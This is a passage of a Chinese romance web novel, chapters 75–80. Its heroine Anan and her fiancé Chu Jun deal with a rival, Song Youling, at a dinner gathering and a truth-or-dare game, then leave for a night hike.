幸好紧急中,楚隽伸出手臂撑住了安暖背后的沙发靠背,不然就把她砸扁了。 安暖往后一靠,楚隽往前一扑。 两人顿时离得很近,只是比酒宴那晚的花园上,远一点点。 “我……” 安暖张了张嘴,一时不知道说什么。 她今天抹了一点口红,粉嫩嫩的,楚隽看着,只觉得心跳也快了起来,一时之间,分不清醉的到底是谁。 今晚不开车,刚才家宴的时候他也喝了好几杯。 那点酒对他不算什么,所以也没当一回事。现在看来,好像是酒意来的有点晚了。 “嘘……头晕就别说话。”楚隽碰了碰安暖的唇,刚要说话,门被推开了。 有人进来了。 不会是服务生,服务生不会不敲门。 楚隽猛地回头,就看见门口站着向浩然和几个朋友,目瞪口呆地看着他们。 “你们来那么早?” 楚隽愣了一下,抬手扯了一旁的毯子,盖在安暖身上。 “嗯,谁来了?” 安暖还有点在状况外,探头想越过楚隽,看看门口是谁。 但安暖现在衣服头发凌乱,衣衫不整的样子,可不方便叫人看见。 楚隽三两下将人裹上:“我先送你回房间休息,你休息一会儿再说。” 安暖没反应过来,便被楚隽抱了起来。 公主抱还是公主抱,但不是单手公主抱,略有遗憾。 “她喝多了,等下再说。”楚隽抱起安暖,转身走进卧房里。 第75章 夜宴 卧室的门关上了,外面几个人看得直了眼。 安暖只是有点晕,还没有昏过去,她还扒拉着楚隽往外看,一边看一边叨叨:“谁啊,是谁来了。” “向浩然和朋友。”楚隽低声说:“你别乱动,衣服都乱了。” 安暖听见向浩然三个字的时候,瞬间惊醒。 楚隽单膝跪在床上,小心将人放下,刚要起身,被安暖一把拽住领子,起不了身。 “怎么了?” 楚隽幸亏腰好,这姿势保持得还挺累的。 “你说向浩然和他朋友来了?” “对,在外面呢,刚才他们看着我们了。” “拉我起来。”安暖手上猛地一使劲儿。 好在楚隽撑住了,安暖不但没把他拽下来,借着他的力气,自己成功坐了起来。 就是有点晃。 楚隽连忙一把搂住她的腰,将人稳住。 “你不是要睡会儿吗?” “不睡了,干正事儿要紧。”安暖扶着楚隽肩膀站起来:“我洗个脸,咱们出去。” 两人在房间里说悄悄话,外面向浩然和几个朋友三三两两坐在沙发上,也在说悄悄话。 有人很奇怪:“这怎么回事?不是听说阿隽的对象是老爷子定的娃娃亲,自己不愿意吗?这……这都这样了,还不乐意啊。” “一看就是道听途说了,这还不乐意啊。我估计,要结婚了吧?” “有可能。楚少可是个正经人,又不像向少这样处处留情。要不是结婚对象,哪能这样。” “对了,刚才经理不是说,中午是翟家聚会吗,这未婚妻都参加家宴了,那就是翟家的人都接纳她了呀。看来,很快要喝楚少的喜酒了。” 外面的人絮絮叨叨,有一句没一句的聊天。 向浩然没说话,手里端着一杯酒,看着卧房的门,脸色不太好。 他是了解楚隽的。 刚才他们推门进来的时候,楚隽和安暖几乎搂在了一起。 孤男寡女在一个房间里,抱成一团,要是刚才他们没进来,后面会发生什么那是不言而喻的。 楚隽是个保守守礼的人,这种事情即便是对着未婚妻,也要等到新婚夜。如今这样,可真是被撩拨的心动不能自已了。 向浩然若有所思。 难怪安暖一直不搭他的腔,如果她和楚隽的感情正在浓时,也笃定能嫁给楚隽,成为明媒正娶的楚夫人,那自然是更好的选择。 选择楚隽,她能得到长远安稳的利益。 选择他,婚姻和家里的支持,他是给不了的。最多,也只是给一笔钱,这都是在有良心的情况下。一个孤女得到巨款,守住也是很困难的。 一个有脑子的人,也知道两者该怎么取舍。 向浩然一口将杯子里的酒喝干,又倒了半杯。 这事情,不好办了。 安暖还有点昏,不过喝了醒酒汤,又用冷水洗了一把脸,感觉要好一些了。 “你这样……没事儿吧?”楚隽在一边有点担心:“不要逞强,要是真晕你就睡会儿。” “没事儿。”安暖擦了擦脸:“我们出去吧,你尽量跟每个人都多说几句,我一定能听出来。” “好。你听出来之后,就给我个暗号,我到时候单独找他。” “好。” 两人商议了一下,安暖换了一身衣服,出了房间。 刚打开门,就有人吹了声口哨。 八卦又祝福的人,还是占大多数的。 楚隽介绍了一下,安暖落落大方的和大家打招呼,一点儿也没有刚才差一点被围观现场的尴尬。 楚隽本来约的是晚饭,但向浩然来早了,现在才三点半,远没到吃晚饭的时间。 人还在陆陆续续地来,众人聚在一起,一边打牌,一边三三两两地闲聊。 安暖是一个好的倾诉者,也是一个好的听众。 能聊的时候就聊几句,大部分时间在听。就靠在楚隽身边,一边听,一边看书。 安暖在看一本《犯罪学大百科全书》,楚隽的车上现在时刻放着安暖的书,翟家和警局里,大家都知道,这是个特别爱学习的姑娘。 爱学习的人,学识突飞猛进,一日千里,那又有什么奇怪的呢。 在所有人都开了口之后,安暖凑在楚隽耳边低声说了句话。 没有,那天晚上的人,不在这些人中。 楚隽轻轻嗯一声,表示自己知道了。 小情侣的耳边悄悄话,谁也不会怀疑是什么不得了的话。 聊着呢,安暖突然觉得不对劲。 她扯了扯楚隽。 “今天是不是还有什么要紧的人要来?”安暖低声道:“我看向浩然一直在看时间。” 楚隽摇了摇头。 他请的人里,是没有什么太要紧的。但是向浩然的样子,好像是有点不寻常。 好好的一个聚会,弄得钩心斗角的。 聊了一下午,看看时间,五点半。 楚隽说:“人到齐了吧,我已经定了地方,咱们吃饭吧。” “行。” 众人三三两两地起了身,准备去包厢吃饭。 今晚月色好,楚隽让人将桌子摆在院子里,临水的花园,景观别致,水中有锦鲤荷花,花园里还养了几只孔雀,走来走去的。 白天以翟老爷子为主,吃的是中餐。 今天晚上,向浩然一伙年轻人,比较跟时尚潮流,吃的是西餐。 牛排,意面,沙拉,红酒,丰盛得很摆了一桌子。 “不知道你能不能吃惯西餐。”楚隽说:“这是牛排,用刀切开,用叉子叉着吃……牛排和咱们平时吃的炖牛肉不一样,不是全熟的。我给你叫了七分熟。” 如果这里只有楚隽一个人,那安暖就毫不客气的要全熟,要筷子了。加点土豆或者芋头炖一炖就更好了。 可惜还有那么多朋友在呢,表面工作是要做的。 “哦,好。” 安暖正要拿起刀,突然发现有一只手不好使。 用筷子勺子夹菜舀汤,一只手就行了。 但是切牛排,就必须两只手了,缺一不可。 果然筷子才是最先进的工具,刀叉是没进化好的落后玩意儿, 楚隽立刻发现了安暖的不方便。 “我给你切。”楚隽说:“我这是五分熟的,你也尝尝我的,看看喜欢哪一种。” “谢谢。” 楚隽正切着牛排,突然间,灯全灭了。 第76章 寻常秀恩爱 “怎么了?”安暖抬头四下看去。 要是荒郊野外,那就是鬼故事一个,马上要出红衣飘飘了。 但这种地方,一般来说,是酒店有节目。 安暖参加过一次楚隽和朋友的聚会,就是酒吧那一次。那次的聚会十分精彩,这一次呢,不知道有没有什么精彩的项目。 大家都在四下看,果然,从曲折小径的尽头,出现了一点光。 一个身材高挑窈窕的姑娘,一头黑发如瀑,穿着简单的吊带白裙,手中捧着一个蛋糕,缓缓走来。 蛋糕上,插着三根蜡烛。 在黑暗中闪着光芒。 姑娘带着个漂亮的面具,看不见脸。 众人都看得目不转睛,这一瞬间,有种仙女下凡的感觉。 就连安暖,也想要吹一声口哨。 姑娘缓缓走过来,走到了楚隽身边。 “阿隽,好久不见。” 姑娘开了口。 终于有人吹了第一声口哨。 其他人顿时忍不住了,纷纷开始起哄。 楚隽愣了一下:“又菱,你什么时候从德国回来的?不是说,还要两年吗?” 姑娘缓缓掀开面具,面具下面,是一张漂亮的面孔。 青春又明艳,眉眼都带着笑,神采飞扬。 “我回来了,今天下午刚下的飞机。”宋又菱笑道:“三年了,我们又见面了,阿隽,想我了吗?” 原来蛋糕上的三根蜡烛,是这个意思。 安暖心里只有一个想法。 就是嘛,楚隽这么优秀的人,怎么能没有各种桃花呢? 这是?白月光回来了? 安暖也被她吸引了,但是她在看了宋又菱一眼之后,突然想起一件事情,立刻就将目光转向了向浩然。 现在所有人都在看宋又菱,向浩然也不例外。 但他的目光和别人不一样。 安暖顿时就恍然大悟了。 她就说啊,向浩然对她的喜欢简直是莫名其妙,山呼海啸。这是绝对不合理的。 任何一个不合理的事情,都会有一个即便疯狂也合理的理由。 向浩然本来目光都在宋又菱脸上,突然看见安暖看他。 两下视线一碰上,向浩然的脸色猛地就变了。 安暖的目光就这么盯在向浩然脸上,向浩然猛地避让了开,有一种光天化日的闹市中,被揭开全部伪装的感觉。 原来如此! 安暖心里有了数。 楚隽说,宋又菱应该再过两年才回来,可现在回来了。那就是提前回来了,为什么?因为必须回来了。 这一切瞬间就连在了一起。 就像是一个扑朔迷离的案子,在这一刻,证据链闭合了,一切都有了解释。 安暖和向浩然的目光在黑暗中碰撞,移开,无人发现。 楚隽身边坐的人连忙站了起来:“来,又菱你坐这个,坐阿隽身边。” 他往旁边挪了一个地方。 宋又菱便坐了下来。 “阿隽,三年不见,你好像一点都没变。” 安暖咬了咬唇,差一点笑出来。 谁能想到呢。 黑夜中,竟然有一朵盛世白莲。 “三年又不是三十年,能有什么变化。”楚隽说:“倒是你,更漂亮了。” 宋又菱长的确实漂亮,能出国留学,可见家里条件也是很好的。被向浩然这么念念不忘,是他们圈子里,门当户对的大小姐。 宋又菱笑了笑:“你要是这么夸我,我要生气了。” 聊了两句,楚隽说:“对了,给你介绍一下。暖暖,这是我的大学同学,宋又菱。又菱是学音乐的,大学毕业后,就去了德国深造。” “你好。” 要论装模作样,安暖绝对能撑住。 楚隽又说:“这是我未婚妻,安暖。” “你好。”宋又菱伸出手,隔着楚隽,和安暖握了握手。 安暖笑了一下。 宋又菱说:“我一直知道阿隽有个未婚妻,没想到这么漂亮。你叫安暖,那我也跟阿隽一样,叫你暖暖吧,可以吗?” “当然可以。” 宋又菱笑道:“暖暖,听你的口音,不是京市人吧?” 其实安暖的普通话挺标准的,没有多少地方口音。但和本地人说话确实不一样。 于是安暖又报了一遍家门。 “我不是京市人,我是皖省东来县的。” “哦。”宋又菱想了一下,做了一个恍然大悟的表情:“我地理不是很好,皖省是知道的,东莱县,我确实没听过。” “没关系。”安暖笑了一下:“学音乐的,地理不好不是什么丢人的事情,不会有人笑话你的。” 宋又菱脸上的笑容僵住了。 她从向浩然口中,听过了一些对安暖的评价。 总结下来就是四个字。 不太好惹。 不过对她来说,总觉得安暖只是个农村丫头,孤身一人来到京市,所能仰仗,只有楚隽。就算是不好惹,又有多不好惹。 楚隽对她不同,大约也只是觉得新鲜吧。 但是这句话,她立刻感觉到了不对劲。 “阿隽。”宋又菱立刻转了方向,对楚隽半开玩笑半认真地说:“暖暖笑话我,阿隽,你不会笑话我吧?” 在两人说话的过程中,楚隽正在认真地切牛排。 这会儿已经切了一大半了。 他把切好的往安暖面前一推,转头对宋又菱说:“你多心了,暖暖不是这样的人,她就是比较爱开玩笑,你别介意。” 楚隽虽然是个男人,但不是一个傻男人,在这个圈子里,见多了男人之间的钩心斗角,也见多了女人之间的争风吃醋。 宋又菱刚才那话,是有点挑衅的意思的。 当然安暖不吃亏。 安暖刚来京市的时候,人生路不熟两眼摸黑,都不肯在他这儿吃亏。更别提现在了。 就在楚隽打算再说点什么时候的,安暖突然一把抓住楚隽的手腕。 “楚隽。”安暖说:“我想去一下卫生间,你陪我吧。” 院子里顿时安静下来,大家一起看着安暖。 安暖特别淡定。 “好。” 楚隽说着,起身扶起安暖。 安暖真是害怕宋又菱来一句我也去。 她对和楚隽的女性朋友单独去卫生间这件事情,有一点阴影了。 好在宋又菱没那么低段位。 楚隽扶着安暖出了院子。 宋又菱迫不及待地问:“阿隽和他未婚妻,感情很好吗?他们真的要结婚了?” “可能是吧。”坐在隔壁的人偷感很重的笑道:“下午我们过来的时候,正好撞见他们在房间里……哈哈哈,那亲的呀,什么未婚夫妇,我觉得那就是新婚夫妻。” 第77章 她对我好,我害怕 不明真相的吃瓜群众最喜欢聊的八卦,就是和别人感情有关的八卦了。 楚隽刚才在的时候,大家还不好光明正大聊,这会儿人不在,就放开了。 一时间,院子里一水的哈哈哈,大家都很开心。 当然有两个人是例外。 一个是宋又菱,另一个是向浩然。 两人都有些强颜欢笑。 安暖拽着楚隽的胳膊出了门,真的去了卫生间。 出来的时候,楚隽正站在长廊下等她。 楚隽挺懂事,开口便问:“你有话要跟我说?” “对。”安暖擦着手说:“我总算知道向浩然为什么死乞白赖要追我了,原来是这么回事。” “怎么回事?” “你看不出来吗?”安暖好奇。 难道说,男人真的看不出白莲花? “没……看出来。”楚隽有些迟疑:“你坦白说吧……” “楚队长,在这方面,你有点迟钝啊。”安暖说:“刚才你没注意向浩然的眼神吧?” 楚隽光顾着切牛排了,真没去看向浩然。 安暖笃定道:“向浩然喜欢宋又菱。” 楚隽有点意外:“这不可能吧?” “绝对,保真。”安暖道:“刚才你们都在看宋又菱的时候,我心里就有想法,于是去看了一眼向浩然,向浩然猝不及防,没来得及掩饰他的目光。他看着宋又菱那眼神,绝对有戏。” 楚隽皱起了眉。 他和向浩然认识二十年,一起认识宋又菱也有十几年,怎么就没发现这一点。 “这不可能吧。”楚隽说:“我们认识这么多年了,向浩然要是喜欢宋又菱,没理由大家都不知道。再说……他们两家也算是门当户对,宋又菱这些年也没有交男朋友,如果向浩然喜欢她,为什么不追她?” “这我可不知道。”安暖说:“不过眼神肯定不会错,而且你想想,向浩然追我是毫无理由的,可如果他喜欢宋又菱,是不是就顺理成章了。他不是为了追我,而是为了拆散我们……而且是双管齐下,你不是说,宋又菱还没有完成学业,就着急回来了吗?” 安暖伸出食指戳了戳楚隽的胸口。 弹性不错,干脆又戳了戳他腹肌。 楚隽感觉她的酒可能还没有完全醒,只好抓住她的手。 楚隽虽然觉得这事情太离谱了一点,但是安暖说得有理有据,又好像有那么一点道理。 “对了,你怎么看?”安暖说:“我又要问了……你对宋又菱有意思吗?” 安暖恍惚觉得这话有点熟悉,这段时间,好像问了好几回了。 “抱歉啊,我不该一遍一遍地问,但是楚队,你的桃花有点多了。”安暖也很不好意思:“我这个人,最不愿意棒打鸳鸯,所以……” 问清楚好。 楚隽回过神来。 “没有的事儿。”楚隽说:“我和宋又菱,我们之间就是校友的关系,仅此而已。她刚才突然出现,也吓了我一跳。” “那就好。”安暖说:“那这事情就好办了。” 之前想找出谢家晚宴那天和向浩然在花园里聊天的人,就是想要弄清楚这件事情的缘由。 如今知道了,也不用找了。 今天这一场聚会,就算是达到目的了。 现在的主动权在楚隽手上。 是拒绝还是答应,安暖作为一个非常有自知之明的人,就不参与了。那是楚隽自己的事情。 两人默默往回走去。 走了几步,能看见花园里的灯光了,楚隽突然抓住了安暖的胳膊。 “怎么了?” “这事情……有点麻烦。”楚隽说:“我有个想法,想跟你商量一下。” “你说。” “宋又菱和董紫莺不一样,她比较……难搞。”楚隽说:“我之前确实没太关注过她,但是我对这种姑娘有点害怕。” “害怕?” “对。” 安暖觉得挺奇怪的:“为什么害怕?” 楚隽叹了口气:“向浩然天天给你送花,送点心,送股份,你当时难道不害怕吗?” 安暖这一口气,上不上,下不下。 楚隽这话说得她无法反驳。 “怕。” “我也怕。”楚隽说:“当时向浩然追你的时候,你拿我挡桃花,还在车里,假装……亲我。” 安暖尴尬地摸了摸自己的嘴。 是有那么回事儿。 当然她不是亲了楚隽,只是给他系了个安全带,只是她位置掐得准,让对面的向浩然看见,亲你暧昧。 “做人是不是要有来有往?”楚隽理直气壮:“当时,你利用我刺激向浩然,我配合了。现在,该是你报恩的时候了。” 长廊下,月色如水,灯光如雾。 楚隽和安暖面对面站着,安暖略抬头看着楚隽,楚隽突然伸手,撩过她的额头。 “头发有点乱了。”楚隽说:“给你整理一下。” 安暖剪了短发,其实比长发更难打理。长发可以一年四季扎起来,短发还要梳理顺了,万一睡觉没注意,还会翘起来。 “乱了吗?”安暖自己扒拉了一下,又扒拉了一下,十分粗鲁。 “现在好了。”楚隽握住安暖的手:“我们走吧,他们一定等急了。” 安暖只犹豫了一秒钟,就被拽走了。 众人正聊得热闹。 到了桌边,楚隽先拉开了刚才自己的椅子:“坐。” 扶着安暖坐下,楚隽坐在了她的另一边。 这下座位顺序立刻就变了。 本来是安暖坐在楚隽左手,宋又菱坐在楚隽右手的。现在楚隽让安暖坐了自己的位置,宋又菱就成了挨着安暖坐了。 好在是晚上,虽然有灯,光线也不如白天,没人看见宋又菱不太好的脸色。 安暖坐下之后,宋又菱就开始跟她搭话。 “暖暖。”宋又菱说:“你来京市多久啦?” “有……”安暖想了算:“快十天了。” “才十天啊。”宋又菱露出些意外的表情:“那没几天啊,还习惯吗?” “挺好的呀。”安暖笑了笑:“和我们那地方比,车多,人多,商场多,我见了挺多世面的。” 安暖主打一个落落大方。 楚隽不说话,主打一个给安暖切牛排,剥虾,夹菜。 本来挨着宋又菱坐,不好不搭腔。 现在隔开了,有安暖在中间挡着,就没这个尴尬了。 只是眼见着安暖说着说着,随手就拿起了酒杯,他顿时心里咯噔一下,伸手握住了安暖的手。 第78章 领地意识 “怎么了?”安暖愕然回头。 楚隽凑在安暖耳边低声说:“你别忘了,刚才的酒还没醒呢。你这酒量,别喝了行吗?” “额……”安暖看了看酒杯:“这酒没那么烈吧?” 刚才那不是人的问题,是酒的问题啊。 这酒宋又菱都能喝,她应该没问题吧。 两人正说着呢,不知道谁说了句:“干喝没意思啊,咱们来玩游戏吧。” 安暖还挺好奇,这个年代,喝酒会玩什么游戏?行酒令吗? “行啊。”另一个人说:“来玩真心话大冒险。” 安暖有点意外。 没想到这个年代就有这个游戏了。 “好呀,玩儿。”宋又菱道:“大家一起玩儿吧,暖暖,阿隽,你们也玩儿吧。” 安暖有种不祥的预感,但是这会儿不能不合群。 “玩儿吧。”楚隽说:“要是你选大冒险,我帮你喝酒就行。” 楚隽说着话,十分自然地将手臂搭在安暖的椅背上。 就好像是习惯使然一样。 工作人员拿来了骰子,众人依次摇。 点数最大的那个人,可以指定任意一个人做任务。 众人依次摇过去,安暖也摇了一下,三三四。 算是小的了。 楚隽也摇了一次,四五六。 这一次的最高点数是十四点,很遗憾,正是向浩然。 “来来来,选人。”大家起哄:“浩然,你要选谁?” 向浩然的目光在安暖和宋又菱两人转来转去,最终落在安暖身上。 “小安。”向浩然道:“我选你,真心话还是大冒险。” 安暖毫不犹豫地说:“真心话。” 一群小孩子的游戏。 大冒险,那是真的很冒险,谁知道向浩然会提出什么奇奇怪怪的冒险。 比如什么,在现场挑选一个男士拥抱什么。 有这么多眼睛看着,行动是不能敷衍的,不好糊弄。 真心话不一样。 空口无凭,空口白话,真心不真心,又没有个证据。 “好。”向浩然说:“那我问你一个问题。” “你问。” 向浩然来者不善,现在宋又菱回来了,她和楚隽两个人在房间又被看见如此亲昵,安暖估计,他已经放弃不可能的追求计划了。 这样的话,就会撕下他温和的伪装。 骨子里,向浩然可不会是什么好人。 向浩然说:“你喜欢阿隽,是不是他条件好,家里有钱?” 这话一出,一桌子都安静了。 向浩然果然撕开了自己深情款款的伪装,露出了狰狞的一面。 “浩然你这问的什么话?下一个下一个。”立刻有人打圆场。 “别呀。”向浩然说:“玩游戏,就要玩得起呀。” 也有人起哄。 “就是,就是。” 楚隽看向安暖,心情有点复杂。 他之前对安暖的印象就是如此。 为了钱,为了攀高枝。 但是在这段时间的相处中,他觉得安暖不是这样的人。 真心假意,是很容易分辨出来的。 安暖说:“不是。” 向浩然不依不饶:“可他确实是条件好啊?” “向少这话说的。”安暖笑道:“你为什么不说我喜欢楚隽,是因为他是男人呢?他确实是个男人啊。为什么不说,我喜欢楚隽,是因为我们有婚约呢,我们确实有婚约啊。我有一百个喜欢他的理由,有钱,只是其中一个。” 这回答真是刁钻,楚隽差点呛了。 向浩然还要再说话,楚隽拦着道:“这是第二个问题了。浩然,你不能一把游戏问十个问题吧。” “行行行,再来。” 这里没有赌神,每一次选中的都是不同的人。 向浩然的第一个问题有点不友好之外,后面的问题就五花八门了。 到了宋又菱这里,她选择了大冒险。 那人眼睛转了转:“我要求,你选在在座的任意一个男士,拥抱三十秒。” 宋又菱说:“好。” 安暖非常确定,这个人肯定跟向浩然是一伙儿的。 这不是摆明了让宋又菱占楚隽的便宜吗? 只要宋又菱点了人,楚隽就不好拒绝。 在这种场合,拒绝会显得小家子气了。 但是安暖不高兴楚隽让别人抱。 安暖突然往后一靠,楚隽连忙张开手,安暖半个人就靠在了楚隽怀里。 昏昏暗暗的环境,小情侣搂搂抱抱很正常。有长辈在还要矜持点,都是同辈的年轻人,不会那么矫情。 安暖将楚隽搭在她肩膀上的手拽在身前抱着,整个人调整成一个非常舒服亲密的依偎的姿态,笑道:“我猜咱们这里,说不定有宋小姐喜欢的人。正好,宋小姐抱了他,就是表白了,要是在一起了,到时候可以和我和阿隽一起办婚礼,多好啊,是吧?” 安暖用胳膊戳了戳楚隽的胸口。 楚隽点头。 宋又菱的脸色不太好看。 她本来确实是要抱楚隽的,打算用一种开玩笑的态度,来处理这件事情。 但现在,楚隽和安暖这样的姿态,又提到了办婚礼,这是光明正大的一对情侣。 她这会儿站出来说,要抱一个有妇之夫,这和第三者有什么区别? 宋又菱还要脸,做不出这样的事情来。 她咬了咬牙,随便选了一个。 在众人的起哄声中,抱了三十秒。 又等了两轮,安暖终于拿到了选择权。 “向少,真心话,大冒险,你选哪个?” 向浩然的顾虑和安暖一样。 “我也选真心话。” “好,那我问你。”安暖道:“如果你有非常喜欢的人,你会紧追不放,对她表白吗?” 向浩然张了张嘴。 众人都看着他。 “真心话哦。”安暖说:“可不能糊弄。” 向浩然犹豫半天,说:“我喝酒。” 他端起酒杯,一饮而尽。 虽然是玩一个活跃气氛的游戏,但这游戏玩着玩着,气氛更奇怪了。 “不早了,今天大家就散了吧,早点休息。”向浩然说:“明天周末,要是没事儿,咱们去爬山。” 今晚都喝了酒,也没带司机,众人本来就打算在这里住一夜,都已经定了客房。 楚隽定的是套房,里面两间卧室。 虽然大门一关,他们是住一间住两间别人也不知道,但这也没人能管。 众人纷纷起身,打算回房休息。 宋又菱看着安暖的背影想要开口,被向浩然拽住了。 “你想去安暖他们房里住?”向浩然低声问。 “嗯。”宋又菱在向浩然面前一点不掩饰:“他们是套房,我和安暖住,也很合理。” 第79章 勇敢的人,先享受世界 “你真的觉得合理吗?”向浩然没放手:“又菱,阿隽已经有未婚妻了。你也看见了,他们的感情很好,算了吧。” “算了?”宋又菱有些不可思议:“向哥,你劝我算了,你不是一直支持我的吗?” “是,我是支持你,我一直把你当妹妹,你难得有一个喜欢的人,我当然希望你可以得偿所愿。但是你没看见吗,楚隽已经订婚了,他们未婚夫妻感情很好……” “那你为什么要喊我回来?”宋又菱有点激动,反手抓住向浩然的手:“我放弃了学业提前回来,难道是为了看他们俩你侬我侬?” 向浩然一时不知道该怎么说。 在知道安暖和楚隽关系的第一时间,他就通知了宋又菱。 他是这样跟宋又菱说的。 “阿隽这样的人,只要结婚了,就会绝对忠诚,你就没有机会了。如果你真的放不下他,这是你最后的机会,回来吧。” 宋又菱义无反顾地回来了。 回来的第一眼,就看见楚隽身边果然已经有了人。 她当然想要再搏一搏。 现在,向浩然怎么能说,是的,他心里那点小小的心思。 他鼓励宋又菱回来,不是为了抓紧最后的机会追楚隽,真的是为了让她看看这一幕,让她死心。 只是他不敢说。 刚才饭桌上的真心话,安暖问的那句话,直扎内心。 还有和安暖对上的那个眼神。 安暖什么都知道了。 他没想过,这竟然是一个如此犀利,如此洞察人心的女人。 而且,他也很震惊。 这份藏在心里的感情,这些年无人得知。这一桌子朋友,也无人知晓。而安暖,却知道了。 这一刻,他几乎忍不住脱口而出,我不敢。 但是面对宋又菱,他什么都说不出口。 “你放心吧,我有分寸的。”宋又菱握着向浩然的手,眼神坚定:“我,我只是不想一直懦弱下去,我想为了自己,争取一回。” 向浩然慢慢地放了手。 宋又菱敲响了楚隽定的套间的门。 门开了,是安暖开的门。 “宋小姐。” “小安。”宋又菱没有刻意的往外看,而是笑道:“有件事情,想要麻烦你一下。” “你说,什么事?” 宋又菱说:“我定的那个房间,房间有个窗户不好,进了虫子,没法住了。这么晚了,也不想麻烦工作人员了,我今晚能不能和你一起睡。” “啊?” “额……我知道你们定的是套件。你和阿隽还没结婚,应该没……” “哦,没有,我们各住各的。” “我想也是,那我和你住……会不会影响你。” “没事儿,你进来吧。” 话都说到这份上了,安暖也不好拒绝。 说着呢,楚隽擦着头发从屋子里出来了。 天热,楚隽刚洗完澡,虽然穿着裤子和上衣,但上衣衬衫扣子没扣得太整齐,露着一半胸膛。 “宋又菱?” 楚隽一看,有点懵,然后两步往后一退,退回了房间,毫不犹豫的啪的一声关上了门。 “哎,这……阿隽……” “额没事儿。”安暖尴尬道:“没事儿啊,你不是要跟我住吗,我住这一间。” “好。” 宋又菱显然不想进房间,但她这会儿也找不到什么理由,只好进了安暖的房间。 进了房间,安暖说:“我和楚隽还有点事情说,宋小姐,你自便。我出去一下。” “哎……” 宋又菱抬了抬手,但是安暖已经开门出去了。 她敲了敲门。 “楚隽。” “进来。” 楚隽已经换好衣服了,还准备了一个背包。 安暖走过去欣赏了一下。 “嗯,不错,帅的。” 楚隽笑:“你说,我穿什么不帅?” 安暖想了想,还真是。 被你装到了。 “帅,特别帅。” “那就走吧。” 楚隽说着拿起背包,往外走去。 “等一下,等一下。”安暖连忙一把拽住他。 “怎么了?” “你就这么走了,那宋又菱……你就这么不管她了?” “不管她,才是对的。”楚隽说:“我对她没有意思,就不能给她任何希望,一点都不能。这对我,对你,对她,都是好的。” 在这一点上,安暖确实是欣赏楚隽的。 虽然桃花多,但一点儿没有暧昧。 男德满分。 “再说,我们本来就打算去夜爬。”楚隽说:“你是我未婚妻,难道我要因为别的女人,抛下自己未婚妻吗?你看过现在很流行的爱情小说吗?” “看过呀。” 安暖意外了,楚隽还看过那些? 这个年代霸总文应该还没有出现,但是爱情小说的内容,也都是大差不差吧。 “我也看过,之前为了一个案子,还看了不少。”楚隽总结:“干这种蠢事的,都是男二,后面,都要追妻火葬场的,还不一定追得回来。” 楚隽说着,拿了桌上的纸笔,写了个留言条。 宋又菱进了安暖的房间,心里七上八下的。 其实她也不知道自己具体要干点什么,但总觉,应该干点什么。 她等了又等,越等越不安。 安暖一直没回来。 这么晚了,她为什么不回来,难道她今晚住在楚隽房间里? 宋又菱心里一惊,推门出去。 客厅的桌上,有一张纸条。 宋又菱拿起来一看。 只见上面写着。 “又菱,你安心休息,我和暖暖出去约会,晚上不回来。” 这笔记宋又菱一眼就认了出来,是楚隽的字迹。 有人敲门,宋又菱连忙去开了门。 门外站着的是向浩然。 五分钟前,楚隽敲开了向浩然的房门。 向浩然看着手牵手的楚隽和安暖,有点懵。 “我们去爬山。” “现在?” “对啊,这个季节,香山有很多夜爬的人。”楚隽说:“对了,宋又菱说她房间不好,现在住在安暖的房间里。你要是有空去看看,可以在我房间睡,陪她一下。” 向浩然感觉自己脑子这一会儿都没转过来。 “我们走了。”楚隽说:“明天山上见。” 两人说着要走,安暖突然说:“对了,向少,之前种种咱们就不说了。我送你一句话。” “请说。” “勇敢的人,先享受世界。” 第80章 断肢 留下一脸懵的宋又菱和向浩然,安暖和楚隽真的去爬山了。 九月底的气温刚刚好,不冷,不热。 白天太阳出来有些热,晚上刚刚好。 所以能熬夜的年轻人,都喜欢夜爬,爬到山顶,休息一会儿,正好看日出。 更重要的是,晚上爬山,昏昏暗暗看不清,有气氛啊。 小情侣牵牵手,搂搂腰什么。白天多不好意思,晚上就方便很多了。 爬山,爬的不是山,爬的是气氛。 两人带了一个背包,楚隽负责背,对他来说,负重几十公里都是寻常事儿,这样一座山,那真是随随便便,简简单单。甚至还可以背一个人。 “爬山你怎么样?”楚隽说:“看你可不像是个运动惯了的,一会儿要是累了,我背你。” “不用。”安暖豪情万丈:“我厉害得很。” 有些地方,能制服每一个嘴硬的人。 半个小时后,安暖就剩下喘气了。 这身体是真不行,竟然比自己之前的身体还弱,真是够够的了。 “还有……多久?”安暖喘着气,摆摆手停了下来。 “还早呢,这才爬了多久?”楚隽看了看手表:“就我们这速度,上山至少要三个小时。加上中间休息的时间,预计五点能到山顶。现在这个季节,日出在六点左右。到了山顶休息一会儿,正好看日出。” “啊……” 安暖发出一声来自灵魂深处的哀鸣。 楚隽认真的拍了拍她的肩膀。 “菜就多练。” “……” 一个半小时后,安暖真的怂了。 “我这辈子都不要爬山了。”安暖认命地将手递给楚隽:“人各有命,真的不能强求。” 楚隽拽着人在路边找了个树墩坐下,打开背包,递给安暖一瓶水。 安暖喝了两口,喘口气,擦了擦脸上的汗。 楚隽又摸出纸巾。 “擦擦汗。” 安暖擦了擦,放松身体,想要往后靠靠,后面是树干,又怕有虫。 “来,靠我身上。”楚隽很大方,坐直了拍拍肩膀。 安暖侧头看了看,突然感觉怪怪的。 “楚隽。” “嗯?” “我们难道不是为了装给向浩然和宋又菱看,假装谈恋爱吗?” “没错啊。” “可是……”安暖琢磨琢磨:“你有没有觉得,我们现在,装得太像了。这里又没有人,我们装给谁看呢?” 牵手,依偎,这不是假装谈恋爱了吧? 真正的情侣,也就是这样。 但是,这不应该啊。 “有没有可能,不是装给谁看?”楚隽说:“你还记得,当时我们是怎么答应爷爷的?” “记得啊。” “爷爷说,我们之前也不认识,要相处一段时间,才知道合适不合适。” “嗯。” “那我们现在,不是正在相处吗?有什么问题呢?你问问自己,要是讨厌我,看我不顺眼,能让我这么靠近吗?你的脾气,我这几日也摸清楚一些,你可不是个能忍气吞声的人。” 安暖这小脾气暴躁得很,装乖装温顺装客气,装不过一天,多一天都能自己气死自己。 楚隽指了指安暖的胳膊。 虽然安暖没有靠着楚隽,但两个人离得很近,这绝对不是普通朋友之间的安全距离。 安暖愣住了。 她从四十年后来,一直在心里给这个年代的定位,也难免有些时代的特色。 虽然不能代表每一个人,但是,肯定能代表大部分人。 比如说,保守。 楚隽在这方便就是个例子。 所以她很放心地靠近楚隽,在任何情况下,有种自己可以掌控的安心。 但这种安心放纵了她的警惕,觉得楚隽是一个不需要戒备的男人,是个绝对的正人君子。 也正是如此,她和楚隽的距离,不知不觉地近了。 “还真是……”安暖喃喃道,伸手又碰了碰楚隽的胳膊。 不讨厌,不是喜欢。 